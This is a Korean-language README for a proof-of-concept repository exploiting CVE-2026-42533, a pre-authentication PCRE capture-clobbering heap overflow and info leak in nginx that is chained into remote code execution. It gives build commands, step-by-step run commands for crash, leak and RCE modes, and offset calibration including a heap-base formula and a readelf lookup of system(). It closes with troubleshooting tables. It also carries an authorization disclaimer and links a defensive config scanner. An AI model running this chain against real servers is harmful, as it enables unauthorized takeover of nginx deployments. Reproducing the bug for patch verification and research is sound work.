
CVE-2026-42533: map/script 엔진에서 PCRE 캡처 클로버링으로 인한 인증 전 nginx 힙 오버플로 및 정보 유출, RCE로 연쇄 연결됨.
nginx에서 발생하는 사전 인증 힙 버퍼 오버플로 및 힙 정보 누출로, 스크립트 엔진의 두 번의 패스(pass)에 걸쳐 PCRE 캡처 상태를 저장/복원하지 않아 발생합니다. 두 캡처 참조 사이에서 평가되는 정규식 map 변수가 r->captures를 덮어써서, LEN 패스와 VALUE 패스가 캡처 크기를 서로 다르게 판단하게 됩니다. 버퍼는 하나의 캡처 크기로 할당되는데 다른 캡처로 채워집니다. 더 큰 값으로 덮어쓰면 공격자가 제어하는 내용과 길이로 힙 오버플로가 발생합니다. 더 작은 값으로 덮어쓰면 초과 할당된 버퍼의 초기화되지 않은 꼬리 부분이 클라이언트로 반환되어 libc 및 힙 포인터가 누출됩니다.
이 두 프리미티브는 신뢰할 수 있는 사전 인증 원격 코드 실행으로 이어집니다. 정보 누출은 단일 GET으로 ASLR을 무력화하므로 오버플로에 ASLR 비활성화가 필요하지 않습니다.
라이트업: https://cyberstan.co.uk/nginx-rce/ 권고: F5 K000162097 발견자: Stan Shaw (cyberstan)
영향을 받는 버전은 nginx 0.9.6 ~ 1.30.3(안정 버전) 및 1.31.2(메인라인)이며, 2011년 map 지시문에 정규식 지원이 추가된 이후 접근 가능합니다. http와 stream 모듈 모두 영향받습니다. 13개 호출 지점에 걸친 약 50개 지시문과, 이름 있는 캡처(r->variables[])를 통한 두 번째 경로가 있습니다. 1.30.4 및 1.31.3에서 수정되었습니다.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
아래의 모든 명령은 저장소 루트에서 실행하세요. 그래야 exploits/, configs/, ../nginx-1.30.1 빌드 트리 경로가 모두 올바르게 해석됩니다.
exploits/poc.py는 주요 익스플로잇입니다(번호가 매겨진 캡처, proxy_method 싱크). 그 모드는 다음과 같습니다:
버그의 나머지 표면을 다루는 독립 실행 스크립트:
설정 파일은 configs/에 있습니다: nginx_poc.conf (crash/leak/rce), nginx_det.conf (rce-det). 전체 분석 문서는 docs/EXPLOITATION.md입니다.
Linux, gcc, python3 및 nginx 1.30.1 소스가 필요합니다. Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, 전체 ASLR 환경에서 개발 및 테스트되었습니다.
두 가지 빌드가 있습니다. 누출 및 RCE용 클린 빌드는 힙 잔여물이 실제로 유지되도록 합니다. 크래시 및 지점 검증기용 AddressSanitizer 빌드는 오버플로가 정확한 쓰기 크기와 스택으로 보고되도록 합니다.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py는 127.0.0.1:8950에서 실행 중인 nginx와 통신합니다. 한 터미널에서 configs/nginx_poc.conf로 nginx를 시작한 다음, 다른 터미널에서 원하는 모드를 실행하세요. 나머지 세 스크립트는 자체적으로 nginx를 시작하고 종료하므로 NGINX_BIN만 필요합니다.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
예상 결과: ngx_http_proxy_create_request의 ngx_http_complex_value에서 호출되는 ngx_http_script.c:1404의 ngx_http_script_copy_capture_code에서 힙 버퍼 오버플로(WRITE of size 200)가 발생합니다.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
예상 결과: 8161바이트 본문에 2바이트만 쓰여지고 나머지는 힙 잔여물입니다. 오프셋 0x08에 libc 포인터, 0x10에 힙 포인터가 있습니다.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
예상 결과: 정보 누출, 약 40개의 스프레이 연결, 오버플로 트리거 후 id의 출력을 담은 /tmp/PWNED가 생성됩니다. 이는 단일 샷이며 개발 빌드에서 약 2/3 확률로 성공합니다. 실패하면 워커가 크래시하므로 다시 실행하세요. docs/EXPLOITATION.md의 "Reliability" 섹션을 참조하십시오.
통제된 설정에서는 동일한 버그가 결정적 단일 샷으로 동작합니다. 정보 누출에서 한 줄로 절대 힙 베이스를 복구하고(heap_base = (leaked_ptr & ~0xfff) - 0x22000), 유지된 연결의 알려진 주소에 위조된 풀 정리 함수 하나를 배치한 다음, nginx가 종료 전에 해제하는 일시적인 트리거 본문 대신 피해자 풀의 정리 함수가 그 주소를 가리키도록 합니다.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf는 힙 레이아웃이 재현 가능한 실험실 설정(단일 워커, 고정 버퍼)으로, poc.py의 오프셋(PL_OFF, HEAP_PAGE_OFF)이 유효하게 되는 이유입니다. PL_OFF는 유지된 POST /b/ 정리 본문이 위치하는 힙 베이스로부터의 오프셋입니다. 정확한 할당 순서에 의존하므로 빌드, glibc 버전, 설정에 따라 달라집니다. --rce-det가 Recalibrate를 보고하면 calibrate.py로 실행 중인 워커에서 올바른 값을 읽어내세요:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py
유일한 또 다른 실패 경우는 ASLR 추첨으로 0x0a가 정리 함수 주소나 오버플로 본문 안에 들어가는 경우입니다. map 정규식이 이를 전달할 수 없으므로 도구가 이를 보고하면 다시 실행하면 됩니다. 일반 배포 환경은 그렇게 예측 가능하지 않으므로 그런 경우에는 --rce를 사용하세요. docs/EXPLOITATION.md의 "A deterministic build"를 참조하십시오.
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py 1 7 12 # a subset
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/named_capture_poc.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/leak_multi.py # clean build
예상 결과: return과 set이 각각 libc 및 힙 포인터를 누출하며, 둘 다 워커의 /proc/<pid>/maps로 확인됩니다.
사람들이 가장 많이 실수하는 두 가지는 잘못된 빌드 사용(ASan vs 클린)과 --rce-det 오프셋이 자신의 환경과 일치하지 않는 경우입니다. 둘 다 아래에 설명되어 있습니다.
--rce는 런타임에 정보 누출로부터 libc 베이스와 힙 포인터를 복구하므로 주소를 하드코딩하지 않습니다. 다만 개발 당시의 빌드와 libc에 특정적인 오프셋은 하드코딩되어 있습니다:
LIBC_LEAK_OFFSET libc base to the leaked arena pointer
SYSTEM_OFFSET libc base to system()
BODY_DELTA_* leaked heap pointer to the overflow body buffer
POOL_OFF_FROM_BUF, D_LAST_OFF, D_END_OFF, LOG_OFF forged pool geometry
다른 배포판, glibc 또는 nginx 빌드에서는 이 오프셋들을 다시 보정해야 합니다. 실제 system() 오프셋은 readelf -sW /lib/x86_64-linux-gnu/libc.so.6 | grep '\bsystem\b'로 읽고, 풀 오프셋은 대상의 ngx_pool_t에서 읽으세요. --crash와 --leak 모드는 그러한 오프셋이 없으며 영향을 받는 버전의 어떤 빌드에서도 재현됩니다.
정보 누출에는 특별한 튜닝이 필요하지 않습니다. 기본 worker_connections(512)로 아레나가 크기 조정되어 해제된 요청 청크가 아레나 및 힙 포인터를 여전히 보유한 glibc bin에 들어가고, 과도하게 할당된 누출 버퍼가 이를 재사용하는 기본 events {} 설정에서 동작합니다. 비정상적으로 낮은 worker_connections(약 256 미만)에서만 누출이 발생하지 않습니다. 프로덕션 값(512~1024)에서는 모두 누출됩니다.
아무것도 익스플로잇하지 않고 취약한 패턴을 탐지하는 정적 설정 스캐너는 https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner 에 있습니다.
이 도구는 패치되었고 공개적으로 공개된 취약점을 대상으로 합니다. 방어자가 노출 여부를 확인하고 연구 목적으로 재현하기 위해 존재합니다. 소유하고 있거나 명시적으로 테스트 권한을 부여받은 nginx에 대해서만 실행하세요. 1.30.4 또는 1.31.3으로 업그레이드하십시오.
| 모드 | 목적 |
|---|
poc.py --crash | 힙 오버플로를 발생시킵니다. ASan 빌드에서는 ngx_http_script_copy_capture_code에서 쓰기 크기와 스택을 출력합니다. |
poc.py --leak | 정보 누출: 과도하게 할당된 응답 본문에서 libc 및 힙 포인터를 덤프합니다. |
poc.py --rce | 완전한 사전 인증 RCE. 일반 단일 시도(configs/nginx_poc.conf), 시도당 약 66%, 실패 시 재실행. |
poc.py --rce-det | 완전한 사전 인증 RCE. 통제된 configs/nginx_det.conf 환경에서 결정적으로 동작. |
| 스크립트 | 목적 |
|---|
exploits/leak_multi.py | 두 개의 추가 평가자(return, set)를 통한 정보 누출. 각각 libc+힙 포인터가 /proc/<pid>/maps로 확인됩니다. 기본 설정 사용. |
exploits/test_all_sites.py | 13개 오버플로 호출 지점(http + stream)을 모두 작동시키는 AddressSanitizer 검증기. |
exploits/named_capture_poc.py | r->variables[] / copy_var_code를 통한 이름 있는 캡처 (?P<name>...) 변형으로, 두 번째 근본 원인입니다. |
| 증상 | 원인 | 조치 방법 |
|---|
--leak에 포인터가 표시되지 않거나 --rce / --rce-det가 계속 실패함 | ASan 빌드를 사용 중입니다. AddressSanitizer는 해제된 메모리를 오염(poison)시키므로 잔여물에 실제 포인터가 남지 않습니다. | --leak, --rce, --rce-det, leak_multi.py에는 클린 objs.dbg 빌드를 사용하세요. ASan objs 빌드는 --crash, test_all_sites.py, named_capture_poc.py 전용입니다. |
--rce가 3번 중 약 2번만 성공함 | 일반 설정에 대한 단일 샷이며, 해제된 트리거 본문 위치가 달라집니다. | 정상입니다. 실패하면 워커가 크래시 후 다시 시작되므로 그냥 다시 실행하세요. 결정적 단일 샷이 필요하면 --rce-det를 사용하세요. |
--rce-det가 실행할 때마다 No RCE. Recalibrate PL_OFF/HEAP_PAGE_OFF를 출력함 | PL_OFF는 빌드, glibc, 설정, nginx -p 접두어 경로 길이에 따라 달라집니다. 제공된 값은 -p run으로 실행한 이 저장소의 개발 빌드용입니다. | exploits/calibrate.py를 실행하고 출력된 PL_OFF를 exploits/poc.py에 붙여넣은 다음 calibrate.py에 지정한 것과 동일한 -p 접두어로 nginx를 시작하세요(README에서는 -p run 사용). |
--rce-det가 가끔 0x0a (regex-hostile) ... retry를 출력함 | ASLR 추첨에서 주소에 0x0a(줄바꿈) 바이트가 들어갔으며, map 정규식이 이를 전달할 수 없습니다. | 실패가 아닙니다. 다시 실행하면 다음 추첨에서는 거의 항상 피해집니다. |
nginx 또는 calibrate.py: bind() to 127.0.0.1:8950 failed (Address already in use) | 이전 nginx가 여전히 포트를 점유하고 있습니다. | pkill -x nginx를 실행하고 1초 기다린 후 다시 시도하세요. 8950 포트에는 nginx 하나만 유지하세요. |
독립 실행 스크립트가 nginx not found를 출력함 | NGINX_BIN이 설정되지 않았거나 잘못된 빌드를 가리키고 있습니다. | NGINX_BIN을 설정하세요(leak_multi.py에는 클린 빌드, 검증기에는 ASan 빌드). |
설정, 스크립트 또는 nginx 바이너리에서 No such file 발생 | 저장소 루트에 있지 않습니다. | 먼저 저장소 루트로 cd 하세요. 모든 명령이 저장소 루트를 가정합니다(exploits/..., configs/..., ../nginx-1.30.1/...). |
| 한 설정에서는 누출이 되는데 다른 설정에서는 안 됨 | worker_connections가 약 256 미만이면 아레나가 줄어들어 해제된 청크에 포인터가 남지 않습니다. | 일반적인 worker_connections(512~1024)를 사용하세요. 프로덕션 값에서는 모두 누출됩니다. |